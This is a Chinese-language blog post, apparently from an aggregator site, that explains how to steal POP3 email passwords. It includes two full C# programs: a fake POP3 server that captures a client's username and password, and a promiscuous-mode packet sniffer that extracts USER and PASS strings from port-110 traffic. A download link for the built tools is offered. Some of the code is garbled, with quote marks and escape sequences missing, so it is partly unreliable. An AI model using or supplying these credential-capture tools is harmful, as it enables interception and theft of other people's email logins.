pop3密码嗅探

Posted likehc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pop3密码嗅探相关的知识,希望对你有一定的参考价值。

成品与代码可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下载

来说下pop协议,

英文版,https://tools.ietf.org/html/rfc1939

中文版,http://www.cnpaf.net/class/pop3/200408/122.html

 

pop 协议基于 tcp 协议,以明文ascii码的形式传输内容。且不区分大小写。

 

这里说下2种获取密码的方式:

  1. pop协议分析
  2. pop数据包分析

 

 

() pop协议分析

pop协议分析,就是伪造了一个邮件服务器,诱骗客户端传输密码,过程如下。

 技术分享图片

 

http://www.cnblogs.com/rr163/p/4209944.html 这位同学给了一个很好的demo.

里面写了个CAPA,开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单.

如果用FoxMail 客户端是没用这个的,如果用的outlook,会传输此命令。

 技术分享图片

 

代码 如下,就是复制别人的(^_^)。

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), 110);
                TcpListener tcpServer = new TcpListener(ipEndPoint);
                tcpServer.Start();
                TcpClient tcpClient = tcpServer.AcceptTcpClient();
                NetworkStream ns = tcpClient.GetStream();
                byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服务器的欢迎
                ns.Write(outbytes, 0, outbytes.Length);
                byte[] userBytes = new byte[255];//密码存储
                ns.Read(userBytes, 0, userBytes.Length);
                string capa = Encoding.ASCII.GetString(userBytes);//
                if (capa.IndexOf("CAPA") >= 0)//开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单
                {
                    byte[] capaByteArr = Encoding.ASCII.GetBytes("0" + Environment.NewLine);
                    ns.Write(capaByteArr, 0, capaByteArr.Length);
                    ns.Read(userBytes, 0, userBytes.Length);
                }
                outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine);
                ns.Write(outbytes, 0, outbytes.Length);
                byte[] pwdBytes = new byte[255];
                ns.Read(pwdBytes, 0, pwdBytes.Length);
                string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace("
", "").Replace("", "");
                string pass = Encoding.ASCII.GetString(pwdBytes).Replace("PASS", "").Replace("
", "").Replace("", "");
                tcpClient.Close();
                Console.WriteLine(string.Format("用户名:{0}
密  码:{1}",user,pass));
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            Console.ReadKey();
        }
    }
}

 

 

然后设置下pop的服务器为127.0.0.1。 端口110,非加密传输。

 技术分享图片

 

收发下邮件,结果如下

 技术分享图片

 

 

()pop数据包分析(这里讲的多)

 

Pop3是基于TCP协议的,那来说说它的结构。以太网包头+IP包头+TCP/UDP+内容 4部分构成。

 技术分享图片

 

 

四种以太网数据包详解

 

Ethernet II协议,(pop3用的这个)

Ethernet 802.2协议,

Ethernet 802.3协议(IPX/SPX协议)

Ethernet SNAP协议,

 

说下POP3的数据包。

Ethernet II协议部分, 由6字节目标mac地址,6字节源mac地址,2字节协议类型构成,共14个字节

IP协议部分,由20个固定字节与40个可变字节构成,内容太多,大家去百度就好。IP地址就在这里,POP3里没有扩展内容,所以就是固定20字节。

TCP协议部分,依然是20个固定字节作为首部,TCP报文首部的最大长度是 80字节。选项部分为MSS( Maximum Segment Size 最大报文段长度,以太网默认为1460)。MSS=TCP报文段长度-TCP首部长度,所以1460不是确定值

 技术分享图片

 

这里有源端口号与目的端口号(占2字节)分别是目的端口号(占2字节),就在头文件里。

内容部分,就是ascii码。

 

来说思路:

1.  只查看端口为110的包.(为因默认在第38个字节)

2.  如有”USER”的包记录下用户名,如果有”PASS”的包,记录为密码。

 

这里用的是C#语言,SharpPcap,可以在https://sourceforge.net/projects/sharppcap/下载。

需要安装wincap(百度下就能下载到)。

引用PacketDotNet.dll,SharpPcap.dll。 结果如下。

 技术分享图片

 

 

代码如下:

using System;
using System.Text;
using SharpPcap;
using SharpPcap.LibPcap;

namespace ConsoleApplication2
{
    class Program
    {
        static string userName = string.Empty;
        static CaptureDeviceList devices = CaptureDeviceList.Instance;
        static ICaptureDevice device;
        static void Main(string[] args)
        {
            try
            {
                getAdapter();
                Console.WriteLine("");
                Console.Write("请选择网卡编号:");
                string macIndexStr = Console.ReadLine();
                
                int macIndex = int.Parse(macIndexStr);
                Console.WriteLine("编号为:"+macIndex+",开始监听...");
                devices = CaptureDeviceList.Instance;
                device = devices[macIndex];
                device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
                int readTimeoutMilliseconds = 1000;
                device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds);
                device.StartCapture();
                
               
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            Console.ReadKey();
        }
        private static void getAdapter()//获取网卡 
        {
            int macIndex = 0;
            var devices = LibPcapLiveDeviceList.Instance;
            //var devices = WinPcapDeviceList.Instance;
            //var devices = CaptureDeviceList.Instance;
            if (devices.Count < 1)
                Console.WriteLine("此设备上没有网卡");
            else
                foreach (var dev in devices)
                {
                    Console.WriteLine(macIndex + "." + dev.Interface.FriendlyName);
                    macIndex++;
                }
        }
        private static string HexArrToAscii(byte[] s)
        {
            StringBuilder sb = new StringBuilder();
            foreach (byte b in s)
            {
                char c = (char)b;
                if (!char.IsControl(c))
                {
                    sb.Append(c);
                }
                else
                {
                    sb.Append(.);
                }
            }
            return sb.ToString();
        }
        private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            var pData = e.Packet.Data;
            if (pData.Length >= 37)
            {
                if (pData[37] != 110)   //如果不是110 端口,则不记录
                {
                    return;
                }
            }
            string hexStr = HexArrToAscii(pData);
            char[] packetArr = hexStr.ToCharArray();
            if (packetArr.Length >= 54)
            {
                for (int i = 0; i < packetArr.Length - 2; i++)
                {
                    if (packetArr[i] == U && packetArr[i + 1] == S && packetArr[i + 2] == E && packetArr[i + 3] == R)
                    {
                        int passLength = packetArr.Length - i - 3 - 2; //i + 3长度是数据包头,2长度是控制符
                        char[] userArr = new char[passLength];

                        for (int j = 0; j < passLength - 2; j++)
                        {
                            userArr[j] = packetArr[i + 3 + j + 2];
                        }
                        string resultPass = new string(userArr);
                        userName = resultPass;
                    }
                }
            }
            if (!string.IsNullOrEmpty(userName) && packetArr.Length >= 57)
            {
                for (int i = 0; i < packetArr.Length - 2; i++)
                {
                    if (packetArr[i] == P && packetArr[i + 1] == A && packetArr[i + 2] == S && packetArr[i + 3] == S)
                    {
                        int passLength = packetArr.Length - i - 3 - 2;//i + 3长度是数据包头,2长度是控制符
                        char[] passArr = new char[passLength];

                        for (int j = 0; j < passLength - 2; j++)
                        {
                            passArr[j] = packetArr[i + 3 + j + 2];
                        }
                        string resultPass = new string(passArr);
                        Console.WriteLine();
                        Console.WriteLine(string.Format("用户名:{0}
密  码:{1}", userName, resultPass));
                        return;
                    }
                }
            }            
        }
    }
}

 

以上是关于pop3密码嗅探的主要内容,如果未能解决你的问题,请参考以下文章

密码学系列之:内容嗅探

20199325 2019-2020-2 实践三网络嗅探与协议分析实践

实践三 网络嗅探与协议分析

linux安全机制与加密工具使用

端口利用解析

安全牛学习笔记密码嗅探